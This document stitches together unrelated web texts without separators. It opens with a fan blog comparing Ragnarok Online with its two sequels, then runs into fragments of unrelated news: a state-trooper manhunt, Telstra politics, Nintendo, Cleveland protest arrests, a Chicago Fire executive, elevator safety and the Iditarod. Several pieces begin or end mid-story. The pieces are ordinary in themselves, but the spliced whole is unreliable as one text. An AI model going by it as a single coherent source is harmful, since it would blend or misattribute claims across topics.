Ragnarok Online had a pretty typical loading screen format– a background image with a progress bar. As a testament to the age of the game, the client does not appear to natively support widescreen resolutions and instead stretches the image to fit the window. Gate of the World took a bit of a different approach as a reflection of its own time period: a time where computer monitors were beginning to be marketed as widescreen. Gate of the World serves a loading screen that does not depend on monitor resolution by placing an animated loading image on a black background. This infamous “roding screen” gained notoriety because of the terrible pun attempting to be made and the implications of “Engrish” that resulted from it. Interestingly, the animated image changed (between a character running, a boat sailing, or a tornado carrying the player) based on the method of transport used to trigger the loading screen. Finally, Legend of the Second opts to go back to a simple loading screen style reminiscent of Ragnarok Online with a background image and progress bar. It is strange to note however that the background image itself does not appear to have been optimized for the predominant wide-screen resolution supported by monitors today.
Area: Beginner Zone
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Ragnarok Online BGM
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Ragnarok Online 2: The Gate of the World BGM
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Ragnarok Online 2: Legend of the Second BGM
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The beginner areas between the games did not noticeably resemble one another, but provided a similar sort of atmosphere for the character to begin his or her journey. As is typical for MMOs, the starting areas contained low level enemies in a cozy field area. Ragnarok Online utilized Fabre, Lunatic, Poring, and Drops enemies for the starter area (mobs varied over the years) and played an up-beat bouncy song called One Step Closer. Gate of the World was intent on scrapping Porings as the game’s “mascot” character and attempted to replace them with similar cutesy/squishy characters called Pukuis. As a result, the starter area is populated with Pukuis and a variation of the monster called Puku-Puku (similar to how Drops is a variation of Poring). The background music for Gate of the World‘s starter area is a sort of rushed, yet hopeful tune called Stone Music in the client’s files– a more “realistic” and less “magical” sounding tune than that of Ragnarok Online‘s. Legend of the Second decided to fall back to using Porings, but decided to utilize a new “type” of poring for the starter area: Baby Poring. The area itself is lush and beautiful (more so than the game’s predecessors) and opts for a calm and adventuresome background song. The tune still follows more of a “realism” vein like Gate of the World‘s background music which, while fitting, somewhat loses the “magical” charm that Ragnarok Online’s starter area conveyed.
Area: Prontera
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Prontera is a hallmark of the Ragnarok Online series and is immediately recognizable by players as the capital of Rune Midgard. The developers for each iteration of the game were clearly more restrained in the creativity department when creating the map since the original map was so iconic to the game. Odin’s statue was central to the town, rising over a water fountain. Gate of the World decided to ditch the water fountain as a stylistic choice, but overall seemed to capture the “Midgard-like” construction of the buildings quite well. Legend of the Second on the other hand completely abandoned previous rendering techniques and decided to go with a more shiny, polished Prontera. Odin was once again placed atop his fountain but this time rotated so that his back did not face the castle. While visually appealing however, I have to agree with my friend who stated that the entire town looked like “Disney Land.”
Music-wise, it is hard to come up with a “new” track to replace the iconic Theme of Prontera. Ragnarok Online seemed to focus more on its music to help convey its environments’ atomospheres because of its limited graphical nature. It seems that both Gate of the World and Legend of the Second are attempting to go for a more ambient theme for the capital city. While less engaging than the original theme, both tunes succeed in presenting Prontera with a different and more regal atmosphere. Legend of the Second actually recycles a song found in the Gate of the World client called King’s Joy, but with added sound effects such as chirping birds in the background. Oddly enough, it might just be me, but I cannot help but feel that King’s Joy sounds more “Disney” than Gate of the World‘s song.
Area: Kafra Service
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Graphical Comparison (Thumbnails):
Kafra Corp. has always been another icon of the Ragnarok Online franchise. “Kafra” employees are maids placed around Ragnarok Online that provide a variety of services such as saving spawn points, opening the player’s storage, and warping players to other towns. In Ragnarok Online, the appearances of the Kafra employees would change depending on the town they were serving. Pictured above are the first Kafra employee that the player encounters in each iteration of the game since there is no counterpart between Ragnarok Online and either Ragnarok Online 2. A notable difference between the way important NPCs are handled in general in the newer games is that such NPCs are talked to in a 3D manner instead of utilizing 2D cut-ins. While “save” and “storage” options are standard in all versions of the Kafra employees, Ragnarok Online 2 removed the Warp feature and created additional NPCs dedicated to teleportation. Gate of the World created “Wing of Wind” soldiers teleporting over short distances while Legend of the Second extended its Kafra service to create “Flying Teleportation Service” employees– Kafra employees who served the same function as “Wing of Wind” soldiers that would fly the character to their destination via broomstick.
Interestingly, the majority of the Kafra employees from Ragnarok Online have been remastered in 3D form for Legend of the Second, (images at the bottom gallery) but the blonde-haired Kafra Milenia is the first encountered Kafra in the game. This is likely a tribute to the first Kafra encountered to Gate of the World, Kafra Shelphy Adriana. When comparing the character models, it is very obvious that Milenia is derived from Shelphy Adriana, right down to the bonnet and the bunny logos on her shoulders. Even in Gate of the World, it appeared that this “bunny logo” was to become the symbol for Kafra Corp. and has been carried over to Legend of the Second. Interestingly, Milenia does not carry a gun like Shelphy Adrina, something that suggests that the world of Gate of the World might have been a more hostile place.
Area: Izlude
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Izlude town was a somewhat industrial satellite town South of Prontera. While Gate of the World had no counterpart map, Legend of the Second opted to entirely change the layout of Izlude while retaining the “lived-in” atmosphere of the original. The textures of the buildings have been modified to match the shiny portrayal of Prontera. Ragnarok Online 2‘s music for Izlude is also a lot more ambient and moody (a recurring theme in the game’s soundtrack) compared to the original’s upbeat song, Everlasting Wanderers. In the SEA version of the game at least, it appears that “Izlude” was localized as “Izurud.”
Area: Payon Forest
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Ragnarok Online BGM
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The town of Payon was completely removed from Legend of the Second, instead remembered only by its surrounding forest. In both iterations, the “forest” contains somewhat similar mobs while retaining a lush atmosphere next to a body of water. Legend of the Second‘s Payon Forest ultimately goes on to lead to other places instead of serving as bridge from Payon to Alberta. Though there is no Payon Town, there is camp near the middle with a few NPCs to talk to. In the case of this map, the background music is rather ambient in both versions of the game, giving a rather peaceful atmosphere. Legend of the Second‘s track for Payon Forest however transitions into a much more menacing tune to reflect its map, despite starting out calm like Ragnarok Online’s Peaceful Forest track.
Area: Payon Dungeon / Ruins
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While in different areas, the ruined buildings of Payon are clearly a crossover between the two games. In the original Ragnarok Online, a dark haunted map full of abandoned buildings, Nine-Tails, and Sohee mobs was found on the fourth floor of Payon Cave. In Legend of the Second, this area is actually found South of the Payon “camp” and is noted on the map as “Payon Ruins.” While not pictured above, Sobbing Sohee enemies were found deeper into the ruins (image in bottom gallery). While Ragnarok Online‘s background music for this area was filled with a sense of urgency and panic, Legend of the Second again takes a more ambient approach by cutting out instrumentation all together, giving a haunted feel for the area.
Area: Alberta
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Alberta retains its identity as a port-town in both iterations of Ragnarok Online. In fact, the conversion of the map to full 3D in Legend of the Second actually portrayed the original rather well. While I personally still find it sort of out of place, the “Disney” shading of the buildings fits Alberta’s style a lot better than Prontera’s I would say. Music-wise however both presentations are completely different– while the original Theme of Alberta has an upbeat, bustling mood to it, the new background music has a much more delicate and luxurious tune. Since Legend of the Second no longer has a Merchant job class like the original, this new atmosphere may be an attempt to portray the town’s “merchant roots.” Interestingly, the new theme for Alberta is recycled from Gate of the World but was never heard anywhere. In the old client, there were a number of songs that bore the names of NPCs but were unused. The new “theme” of Alberta is actually a reuse of the song Averro Reinhold, named after a tavern owner of the same name in Hodemimes.
Area: Sograt Desert
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Ragnarok Online BGM
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Sograt Desert is also known as “Morroc Fields” in Ragnarok Online as it borders the desert city of Morroc. During the Renewal arc of the MMO, Morroc suffered severe damage when Satan Morroc was awakened. Even then however, portions of Sograt Desert appeared to depict long buried ruins in parts of the map, which are once again found in Legend of the Second‘s version of the desert. In this new iteration however, the desert is more linear and serves as an intermediate to the as-of-yet final map, “Blessed Road.” While there is no Morroc present, a similar sort of camp as the Payon camp mentioned above was present in the area. Interestingly, I also feel that some of the ruins appear to look like portions of the old Morroc, but I am not sure which timeline Legend of the Second is following right now. Music-wise, both presentations are fairly similar albeit with the usual differences between the two games– Ragnarok Online‘s tune is more upbeat while Legend of the Second’s is more serious and akin to the background music playing in Ragnarok Online‘s “ruined” Morroc.
Recycled Content
By the time Gravity scrapped the Gate of the World project and decided to transition to a more polished engine, a large amount of the budget had already made its way to the failed MMO. Perhaps most notably, Gravity was excited to tout the fact that Yoko Kanno was scoring the game’s soundtrack, with at least 80 songs contained within the files of the Gate of the World client. Even at the time of Gate of the World‘s beta, only a handful of songs were used and many found their way to Legend of the Second, be it in pristine form or remixed with one another to create blended tracks. Understandably, a number of other objects and concepts from the original sequel were carried over to Legend of the Second, but are almost unrecognizable in the game’s new rendering engine and atmosphere. A few of the more easily identifiable carry-overs are listed below:
Quest Bulletin Boards:
The quest bulletin boards from Gate of the World are once again present in Legend of the Second. It looks like the model was pretty much taken without any modifications– I would chalk up the more polished look of it to the new Gamebryo engine and the shaders used in Legend of the Second.
Blue Tents:
I noticed these blue tents in the Payon campsite in Legend of the Second. These tents actually used to belong to the “Cattleya,” a class of NPCs who seemed to serve as healers. The blue tents would serve as the respawn point for players if they died on a field map and could also restore the characters’ HP. Some Cattleya in towns additionally would have the ability to teach new job skills– the only way new skills could be learned at the time of release. The symbol at the top and side of the tent was considered to be the symbol representing the Cattleya, as the button to open the NPC function to teach new skills utilized the same symbol. The Cattleya are not present in Legend of the Second, but the symbol remains on top of the tent model. Curiously, the symbol on the side of the tent has been erased and the texture mappings on the model have been altered slightly.
Caped Cats:
Caped Black Cats were mobs in Gate of the World present in the fields surrounding Prontera. They were grouped into different “gangs” with red, blue, and yellow caped members who could be either mages or melee fighters. I first encountered an enlarged version of a Red Cape Black Cat in Izlude while playing Legend of the Second— an apparent NPC. When I got to the Sograt Desert area, there were a few normal-sized caped cat npcs in the camp of the red and blue variety. It appears that the symbol present on their bandanas/capes has been retained.
Potemkin Mobs:
Potemkins were first seen by “Achim’s Farm” in Gate of the World as a generic mob found in the field surrounding Prontera. Their mob was recycled in Legend of the Second in a wasteland towards Alberta. While their models do not appear to have changed, the new Potemkin enemies roll around slightly faster and have the ability to pause for a break.
Creamy/Sandy Mobs:
Creamy was a low level enemy in Ragnarok Online found in various grassy areas. While the original design resembled a butterfly, it appears that Gate of the World planned on introducing a new anthropomorphized design for Creamy. When Legend of the Second attempted to stay more faithful to the original Ragnarok Online, they reused the Gate of the World model for the field boss, Sandial Queen, queen of the Sandy mobs.
Dance Emote:
Gate of the World had some rather odd dancing emotes. The male characters’ dance in particular had some strange moves as if they were marionettes bouncing around on string. While I noticed that the dance emotes in Legend of the Second recycled some of the dance steps from Gate of the World, the majority of the animation has been updated to present a more believable dance. Interestingly however, there are a group of NPCs called the “Graham Circus” present in Prontera and Alberta in Legend of the Second who are standing around utilizing the majority of the old dance steps. Perhaps Gravity realized how silly the old dances looked and figured only circus performers would dance like that.
Village Buildings:
Maple Town in Legend of the Second reused a large portion of the Hodemimes Village map in Legend of the Second, which was the first town that players came across. The unique building style was retained while the surrounding area was replaced with Maple trees instead of a sandy plain. Even the somewhat differently shaped blacksmith’s alcove was reused (though hilariously they chose to glom two of the alcoves together to make a newly shaped building).
Coastal/Desert Music:
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Ragnarok Online 2: The Gate of the World Hodemimes Coast BGM
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Ragnarok Online 2: Legend of the Second Blessed Road BGM
Depending on the area and time of the day, the coast outside of Hodemimes in Gate of the World would play a different background track. One of these coastal songs was reused by Legend of the Second with the vocals removed for the desert map “Blessed Road.” I have to admit that this was a creative reuse– the music does sound more “desert-appropriate” with the vocals gone.
Playable Races:
Perhaps the most exciting new feature of Gate of the World was the fact that the game would include multiple races. Two races were introduced aside from the Norman (human) race– the Ellr and the Dimago to appeal to Asian and Western gamers respectively. The Ellr were short elf-like beings and were far enough along in their development to have a few of their NPCs present in towns. The Dimago however were never seen outside of official artwork, though I have heard that they are present as a throwaway mob in the currently developing kRO2. The newly announced Noel race for Legend of the Second appears however to be a hybrid of the two scrapped races with their horns, weapons, and heights. Though developers confirmed that the Ellr and Dimago were scrapped for good at a launch event for Legend of the Second, when asked whether the Ellr and Dimago were combined to make the Noel, they reportedly answered “yes” with a smile.
Impressions
Any veteran Ragnarok Online player would be excited to see his or her memories recreated in lush 3D. In particular, a part of me also felt attached to Gate of the World so I was eager to see the “payoff” after waiting five years. I have to say, while the game’s graphics are still a tad dated for a 5 year development time, the environment is absolutely visually appealing to look at. The team was very careful to stay faithful to the original monsters and their hard work shows off in their 3D renditions. The game very obviously however is attempting to act “modern” with a more realistic, shiny, and bloom-filled approach, likely to appeal to newer gamers. The combat system is the same as Gate of the World‘s, which is practically the same as World of Warcraft’s. In fact, the combat “feels” about the same as Gate of the World‘s except with a more familiar stat point system (taken from Ragnarok Online). In addition, I am not certain how to feel about the new achievement (Khara) and card systems, which are clearly catered to newer players, though I did like the concept of a “card album” to hold the game’s famous cards.
Finally, another staple of Ragnarok Online always has been its solid atmospheric soundtrack and I feel that Legend of the Second‘s, while different is just as strong as its predecessors’. In particular, Mt. Mjolnir and Izlude’s BGM tracks are absolutely breathtaking and really serve the new game environment well. For someone such as myself whoever who has dabbled in many MMOs at this point though, because Legend of the Second does not present a particularly new gameplay system, I would only play this iteration either for short-lived nostalgia or because a friend would be playing it. For now however, do enjoy the new chapter in the tale of Ragnarok!
A manhunt is underway for a 31-year-old Monroe County man wanted for murdering one Blooming Grove state trooper and attempting to murder another, the top state police official said.
Eric Matthew Frein, 308 Seneca Lane, Canadensis is armed and extremely dangerous, state police Commissioner Frank Noonan said in naming the suspect. He has not been taken into custody. State police do not know where he is.
He is 31 years old, white, 165 pounds, 6'1" tall and has blue eyes.
A resident walking a dog about two miles from the barracks found a vehicle in a pond. Evidence gathered, including shell casings, matched the .308-caliber rifle used to kill Cpl. Bryon K. Dickson II and wound Trooper Alex T. Douglass. He has survivalist training, police said. "We don't where he is so we're going to look everywhere," said State Police Commissioner Frank Noonan. He added that the Blooming Grove barracks is not under any more threat than anywhere else.
He is charged with first-degree murder, attempted first-degree murder, homicide of a law enforcement officer, attempted homicide of a law enforcement officer, assault of a law enforcement officer, discharge of a firearm into an occupied structure, possessing an instrument of crime and recklessly endangering another person.
The only thing I’d like to add is that the farther down you go, the more you’ll see a change in density, due to the increase in heat and pressure with depth. Rocks can have the same elemental composition, but they recrystallize into different minerals under those titanic pressures, and their properties change under those different conditions. Mantle rock is solid, but also plastic, capable (at least in the upper mantle) of movement and convection. The outer core is liquid, but the inner core is solid. So to answer your question, beauty, strangeness, and wonder lie below the bedrock.
UPDATE: Peter Roberts made a comment that I think needs to be added: “Actually, during my career I and other geologists have used the term ‘bedrock’ to simply mean the rock beneath the soil cover. So, for example, I would instruct a driller, “OK, take the hole down to bedrock and then a further ten metres.” It is subtly different from the term ‘rockhead’, because you can also use it to describe the rock below, which you cannot do with rockhead. You can say, “Bedrock in this area is limestone”. And you can say, “Below rockhead, bedrock is limestone”. When I saw your definition, I just looked it up in my dictionary and it says, “bedrock |ˈbɛdrɒk| noun [ mass noun ] solid rock underlying loose deposits such as soil or alluvium.” Just a small technical point, Emily. Hope that’s OK.”
The Coalition recently surprised tech punters by changing tack and supporting Telstra’s structural separation. But is it party pragmatism or a sign of Turnbull’s growing power within the side that once disowned him?
When former shadow Communications Minister, Senator Nick Minchin, made his mark on the portfolio, it was as a Liberal stalwart with traditional values. To Minchin it was almost a duty to ensure the Government kept its hands off the private company.
“It has never been Coalition policy to mandate structural separation,” he told ARN. “I don’t trust the Government’s motives at all.
“This is an outrageous thing to be doing to shareholders that bought these shares in good faith on the basis of Telstra being a fully integrated telecommunications company.”
When Minchin retired from the post, Tony Smith was appointed as the new Coalition spokesperson. He agreed the status quo didn’t work but still fought against separation.
The tide turns
Unfortunately for the Coalition, the telco industry was firmly against Telstra’s firm grip on the market. Even its junior partner, the National Party, held mixed feelings on the issue and spoke in favour of separation.
Its last bastion of support fell when Telstra saw the writing on the wall and negotiated its way into a massive $11 billion settlement. On October 20 it came to a head as the telco threw its weight behind the Government in a supportive press statement.
Enter stage left, Malcolm Turnbull – former telco boss and investment banker. After months of stalling on the issue, he emerged from shadow cabinet talks with a fresh approach. that maintained the attack while appearing pragmatic.
“Subject to…amendments, the Coalition supports the [Government] bill’s introduction of a new and more certain access pricing regime in telecommunications,” Turnbull’s statement said. “In that context the separation of Telstra’s fixed line customer access network from its retail business would be a welcome development.”
Another more conciliatory play came in the form of Turnbull’s Transparency Bill, which demanded more oversight of the Government’s Nation Broadband Network without stopping it.
Who pulls the strings?
Is this the party finally adapting to political reality or is the Coalition being led by Turnbull’s political nous? According to Monash University senior political lecturer, Dr Nick Economou, it’s a bit of both as Opposition leader, Tony Abbott, gives his one-time rival some slack.
“[Abbott] doesn’t strike me as someone paying that much attention to the details of policy,” he said. “I think what we’re seeing here is that Turnbull is able to run with a policy issue because he’s interested in it and he can stamp his imprimatur on it.
“Abbott doesn’t mind as long as Turnbull doesn’t creep up on him in the approval ratings and the dominant line remains one of criticising Labor’s NBN stuff.”
The bottom line is that Turnbull has used his more nuanced opposition to good political effect and brought plenty of pressure to bear against the Government. If his performance continues and profile grows, so too will his ability to influence party policy.
On Dec. 17, Vince Carter will make another visit as a member of the Sacramento Kings back to Toronto, where he spent his first six-plus seasons capturing the imagination of basketball fans in Canada.
The high point of Carter’s run in Toronto remains the 2001 NBA playoffs, when he led the franchise to their first playoff series against the Knicks in the first round, followed by a classic battle against the Sixers in which Carter and Allen Iverson traded 50-point games as the two teams went back and forth, with the series ultimately decided on the final possession in Game 7.
The first topic discussed during the interview was Splatoon. After Sankei mentions that it’s selling well, Kimishima said that painting colors as a way of battle and the characters allow it to be accepted by a family audience. He added that, in the future, it’s possible to extend it widely like Super Mario Bros.
Regarding sales, Kimishima acknowledges that the Wii sold a great deal, so the hurdle of migrating to Wii U was high. Nintendo wants to get consumers to understand new ways to play like Splatoon and speed up the migration. For 3DS, Nintendo increased the performance and released popular software, so there is still room for growth.
Kimishima also shared some brief words about mobile. Nintendo wants to provide a means of play that is different from consoles, such as progressing through a game for a short time each day.
Speaking about the aim of My Nintendo, Kimishima said the goal is to collect points by playing Nintendo games, and obtain bonuses in places like movie theaters and theme parks. There will be more chances to touch (get in contact with) the characters, and Nintendo wants to expand various kinds of businesses.
Finally, on the topic of NX, Kimishima noted that it will need to be an attractive system that gets them to jump in. He also reiterated said that Nintendo aims for it to be a new experience totally different from Wii U and 3DS, and development is steadily progressing.
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CLEVELAND (Reuters) - Cleveland police arrested 18 protesters on Wednesday after scuffling with demonstrators who tried to set an American flag on fire near the crowded entrance to the arena where Republicans made Donald Trump their presidential nominee, officials said.
Two of those arrested were charged with felonious assault on an officer after officers tried to confiscate the flag, Cleveland Police Chief Calvin Williams told reporters. Some of the protesters' pants caught fire during the incident.
"Whatever they tried to do with the flag, as we were trying to extinguish it and they were trying to keep it away, their pants leg caught on fire," said Williams, who was at the protest.
"The charge was assault on an officer because the officer tried to put it out when he saw it getting burned, and there were also counterdemonstrators who were trying to take it away," the chief said.
Fifteen of the 16 other people arrested were charged with a misdemeanor offense of inciting violence near the crowded Quicken Loans Arena, police said. They did not say what the remaining protester was charged with.
Burning the American flag is protected by the First Amendment of the U.S. Constitution, which protects the right to free speech. None of the protesters were charged for burning the flag.
Two police officers were injured during the scuffle, sustaining what Williams described as "minor bumps, bruises."
Wednesday's incident saw the largest number of arrests during the four-day convention, which ends on Thursday, and brought the total number arrested to 23, according to officials. Previously, five people had been arrested in three different incidents.
A group calling itself the Revolution Club had alerted reporters that they intended to burn the flag to protest U.S. policies, particularly military intervention overseas.
Previous protests around the convention have been largely peaceful.
"There are people that their only reason for being here is disruption, disorder, chaos, hurting people and damaging property," Williams said. "Those are the only people at this point that are giving us any kind of trouble at all."
The police are conducting surveillance in an effort to keep order, Williams said. “There are some groups out there that we’re keeping tabs on because we know that they are trying to disrupt things at this convention. But we’re on it,” he said.
Trump, a wealthy New York real estate developer, has drawn the ire of many Americans with proposals that include building a wall along the U.S.-Mexico border and restricting immigration from Muslim-dominated countries. He was nominated on Tuesday evening.
Police have confiscated items including gas masks, tent stakes and metal screws inside the secured zone around the convention site, where police are restricting such items, Williams said.
"Almost every prohibited item we have confiscated," Williams said.
The Rock, for producers Jerry Bruckheimer and Don Simpson, starred Sean Connery, Nicolas Cage and Ed Harris. The 1996 action thriller about a threatened nerve gas attack on San Francisco was directed by Michael Bay and grossed more than $335 million worldwide.
Double Jeopardy, a 1999 mystery-thriller directed by Bruce Beresford, starred Ashley Judd, Tommy Lee Jones and Bruce Greenwood. The film about a woman framed for the faked murder of her husband grossed $116.7 million domestic and $61.1 million foreign.
Criminal, which stars Kevin Costner, Ryan Reynolds, Gary Oldman and Jones, is a thriller about a dead CIA agent whose memories and skills are implanted into the brain of a dangerous outlaw with the hope of thwarting a terrorist. Directed by Ariel Vromen, it’s slated for release next year.
“The only thing I require out of an office is that there’s a window,” he said.
The view from that window isn’t great. Objectively, it’s better than a wall only if you really appreciate asphalt. The Chicago Fire’s nine-year-old stadium is surrounded by a ton of it, in addition to the warehouses, empty lots, humble apartments and nondescript intersections that characterize that part of Bridgeview, Illinois.
But when the sun shines through and Rodriguez looks out, he sees only the bright side.
“It keeps me grounded and makes me realize there’s a lot of pavement we’ve got to pound to restore the glory,” the club’s new general manager told SI.com this week, his first on the job. “I see unbelievable opportunity.”
Chicago was a Major League Soccer powerhouse when it moved the 14 miles from Soldier Field to Bridgeview in 2006. Launched in 1998, the organization already had won one MLS Cup, one Supporters' Shield, three U.S. Open Cup championships and four conference/division titles. It then claimed the ’06 Open Cup for good measure. Rodriguez called the Fire “one of the three great clubs in MLS history.”
Then the decline began. The lack of development outside the stadium has been eclipsed by the regression inside. Chicago fell in the Eastern Conference final for three straight seasons and then in 2010, it stumbled into a miserable six-year stretch during which it made the playoffs only once. Interim coach Brian Bliss is the seventh man to hold the position since the Fire moved to Toyota Park. But for many fans, owner Andrew Hauptman is to blame for the freefall.
The Los Angeles-based investor took over in mid-2007 and hasn’t been shy about spending money. He put $3 million toward upgrades at the stadium, which is owned by the city, and paid $20 million for the PrivateBank Fire Pitch, a public field complex on Chicago’s north side. Hauptman injects more than $1 million per year into the Fire’s academy, which is fully funded down to U-10, and has tried to sign big-name players like Didier Drogba and Jermaine Jones. According to the MLS Players Union’s September figures, the Fire’s first-team payroll ranked 11th in the 20-team league.
But none of it has had a positive impact on the field. Chicago (8-19-6) is guaranteed to finish with the league’s worst record regardless of the result of Sunday’s season finale against the visiting New York Red Bulls. There have been protests inside Toyota Park and elsewhere in Chicago. But Hauptman stayed quiet and declined to counter the miserable narrative until finally dismissing head coach and director of soccer Frank Yallop last month.
The same day, Sept. 20, Rodriguez was named the Fire’s new general manager. A long-time MLS executive who ran Chivas USA on the league’s behalf during its final season and then spent the past year working with the U.S. Soccer Federation advising junior and senior national team players, Rodriguez now is responsible for cleaning up the mess and setting a new course.
There are those who might see the bleak records and bleak surroundings and consider the job impossible. There are those who might wonder if Hauptman is sufficiently caring or conscientious and whether any executive can succeed on this owner’s watch. Rodriguez isn’t among them. His faith in his new boss and the Fire’s potential in a crowded but sports-mad market is such that he traded away the security and relative anonymity of his position at U.S. Soccer in order to take it on.
“We have the resources at this club to build the program that we think will lead us back to the glory that we experienced,” Rodriguez said. “It kills Andrew, eats away at him, that the team hasn’t had on-field success. He’s hurt by it. I dare say he’s embarrassed by it. No person who cares as much isn’t affected by that, and he does care … I think Andrew is misunderstood. Maybe his humility has worked against him because he hasn’t come front and center. But I know from my time at the league office and am quite certain based on the conversations we’ve had, that he’s committed to building a model club in MLS and winning is a big part of it.”
A New Jersey native who coached college soccer at Lafayette and worked for the 1994 World Cup organizing committee and the New York Red Bulls (then the MetroStars) before joining MLS in 2000, Rodriguez was promoted to executive VP and interacted with just about every owner and club executive during his tenure at the league office. That included Hauptman, who occasionally would seek Rodriguez’s advice. Hauptman did so when he fired coach Frank Klopas in 2013, in fact, but apparently didn’t follow it.
“Part of the conversation that Andrew and I had recently, which led to my coming here, he said, ‘I reflected on my notes from our conversation and I realized that there were certain things you mentioned that I either wasn’t ready to accept or I didn’t accept, but I understand now.’ That is an incredibly humbling statement,” Rodriguez said. “He is a big reason I wanted this job. I do believe that he’s humble. I do believe he listens and takes feedback.”
Rodriguez has been empowered to rebuild the Fire’s soccer structure, and he’s going to start toward the top.
The best way to mend fences with frustrated fans and an ambivalent press corps is winning, he said, and that begins with hiring the right head coach. Considering the market, history and Rodriguez’s reputation, it should be a sought after job.
“I think there will be available to us, and are already, some excellent coaches—coaches with international pedigree, coaches with a domestic history of success and all the rest of it. But that alone is not enough to necessarily make them right for the Fire,” Rodriguez said. “I have very definitive ideas in mind of how to proceed. That said, I want a head coach who’s going to be my partner, who’s going to pressure test what I say and vice versa. In that collaboration, we might find a third option that’s even better than his or mine, so to speak.”
Rodriguez said he believes that, “The head coach should not be the czar.” The pressure and commitment to earning three points on Saturday doesn’t always align with building the infrastructure of a club for the mid and long-term. As the league evolves, the stakes and costs rise and academy and USL teams enter the picture, it becomes too much for most people to handle. Whether or not Rodriguez pursues additional help on the technical side depends on how the new coach fits.
“When we look at the strengths of the head coach and I balance that against my strengths, we’ll look to see where the gaps are and how we may seek to cover them,” he said. “I’m opened minded to seek the best people first, put them in the right spots and see how it works, then fill in the gaps.”
He hopes to have a coach in place by Thanksgiving.
“We can’t wait to see who’s available [in December]. That would be negligent. We have a list of candidates already and I’ve been naively surprised at some of the folks who’ve expressed interest,” Rodriguez said.
There’s considerable work to do on the roster as well, which isn’t surprising for a club that has won a paltry 14 of the 67 MLS matches scheduled over the past two seasons. Rodriguez and his future partner should have some leeway. Designated Players David Accam and Gilberto, along with one-time DP Kennedy Igboananike, are under contract next year. But that doesn’t necessarily mean they can’t be moved.
Mike Magee ($400,000 base salary) will be out of contract, while the likes of Jeff Larentowicz ($265,000), Lovel Palmer ($118,000) and Adaílton ($200,000) enter option years. There will be money to spend if Rodriguez and his coach pull the right strings.
“I don’t want this to be misconstrued as a comment against our current Designated Players, but I would say that the DP should finish the puzzle, not start it,” Rodriguez said. “I’m putting the puzzle together and I’m confident that if it makes sense, we certainly have the wherewithal to do what we need to do. Those choices will be mine to make.”
He’ll make them on the move. Rodriguez believes in “A lot of face to face.” He wants to meet with coaching candidates in person, as well as their references. He wants to go watch college games—the Fire will have the first pick in January’s draft—and chat with scouts and others who follow other levels of the sport. He prefers a “hands-on” approach. He won’t be on the training field, he said, but he will spend time with players in order to ensure that, “The standard we wish to set for the soccer operation are being met or exceeded.”
He’s already engaged with supporters as well. When U.S. Soccer granted him a couple days at the beginning of October to meet his new colleagues at Toyota Park and get the lay of the land, he went on his own to The Globe Pub, a Chicago bar popular with soccer fans.
Rodriguez said he found that interest in the Fire hadn’t waned. It was still their club. But optimism had faded. Luckily, optimism is what Rodriguez does well.
“There is a real bond here with this club,” he said. “And I think there’s a whole bunch of other people who are just waiting to come back or jump on board if we can just give them enough reason to. All of that comes down to one thing and one thing only—winning.”
No one knows MLS better than Rodriguez. But this job represents a different sort of challenge. He wasn’t judged by wins and losses during his tenure at the league office, and he wasn’t the one charged with instituting a corporate and competitive culture. Nevertheless, his appointment has been regarded inside U.S. soccer circles as a smart move by an owner who needed to make one. It’s crunch time for the Fire. A glorious history is fading fast.
“My dream was to be [former Real Salt Lake owner] Dave Checketts,” Rodriguez said of his transition from coaching to management. “I wanted to preside over some great sports program and Andrew’s been kind enough to give me that opportunity and I’m going to give him everything I have to fulfill my fantasy and reward his faith.”
He understands the stakes and the desperation, and he wants to hire a coach who feels the same. Together, Rodriguez believes they can make Toyota Park a much more attractive place to be.
So, does the trailer seem plausible? All that stuff going wrong in the elevator?
Let me correct one of the facts — elevators do not go into what they call a free fall. What you’re seeing in the trailer is an elevator plummeting down a hoistway. For that to happen, every single rope in the hoistway — and there are several ropes, which are basically steel ropes, that actually hold an elevator and its counterweight to the machine in the machine room — you have to cut each of these steel ropes for an elevator to come down. And you can’t use a pair of scissors …. Then there is the safety brake that will come into play and hold the elevator from moving. There will always be a brake.
What should you do if the lights go out in an elevator?
The possibility of the lights going off — it can happen. If the electricity goes off in the building, it could also go off in the elevator, but a generator in the elevator can keep the lights on, and most modern buildings have it. But what should you do? There’s normally a button, a call button, on the elevator panel. Check it out next time you’re in one. An elevator that’s maintained by Otis, anywhere in the world, if you press that button you’re instantly connected to someone in a call center. You connect, the person tells you what to do. They’re calming your nerves.
You shouldn’t try to pry the doors open or anything?
No. Even if you have enough strength to pry them open between two floors, you could slip and fall through the gap between the elevator cab and the floor, and that could kill you. Or the machine could suddenly start moving, and you could be killed. No, you press the button and the experts come take care of you.
And what if you have evidence that a demon is sharing the elevator with you?
Do you believe in the paranormal?
No.
Me neither.
But what if it happened?
If you’ve got, so to speak, the devil inside the elevator, press the call button. Call Otis. You’re trying to make this fun, I can understand that. But I’ve never heard of anything like this.
Okay, what if one of your fellow passengers bites you?
Smack the person across the face.
What if you don’t know who it was because it happened when the lights were out?
That’s probably the toughest question I’ve been asked. What to do if someone bites you inside an elevator. But to be serious, that button actually connects you directly … [You] press the button, you’re connected to security instantly. Within an instant. They can get the doors open and release the passengers within an instant. Today’s technology is so modern that the risks within an elevator are really minimal. It can’t happen, that’s the point I’m trying to make.
But people said the Titanic could never sink.
That’s a great point, because in 1853, Elijah Otis invented the safety brake — 157 years ago — and there hasn’t been a single instance of an elevator plummeting since.
An elevator has never, ever plummeted?
The 57-year-old musher from Sterling won the Iditarod Trail Sled Dog Race at 3:40 p.m. Tuesday, shattering the speed record by nearly eight hours to steal the title of fastest Iditarod musher ever from his much-younger son, Dallas.
Mitch remains the race's oldest champion and has notched three wins in 13 years, his last in 2013 at age 53.
"Fifty-seven used to be old, and it's not anymore. I'm just letting you know that," Seavey said at a press conference after the race, his statement met by applause in the crowded building near the finish line.
‘Old guys rule’
In 4-degree temperatures Tuesday, Seavey pulled under the burled arch on Nome's snowy Front Street with a team of 11 dogs, led by 4-year-old Pilot and 5-year-old Crisp.
Crowds lined the street, cheering on the team and taking photographs. One person held a sign that read, "Old guys rule."
Seavey, in a puffy, red parka with a thick ruff, got off his sled and walked to the front of his team, praising the sled dogs along the way.
"Good dogs," he told them, icicles stuck to his mustache. "Good dogs."
He gave each dog a snack and then talked about the teamwork that allowed him to demolish the race record, arriving to Nome in 8 days, 3 hours, 40 minutes to win an exceptionally fast race. (Dallas set the prior record at age 29 in 2016 at 8 days, 11 hours, 20 minutes.)
"I've never seen anything like this," Mitch Seavey said of his team's speed throughout the race, which started March 6, in Fairbanks, and featured a temperature swing of at least 70 degrees, with lows reaching 40 and 50 below in its early days.
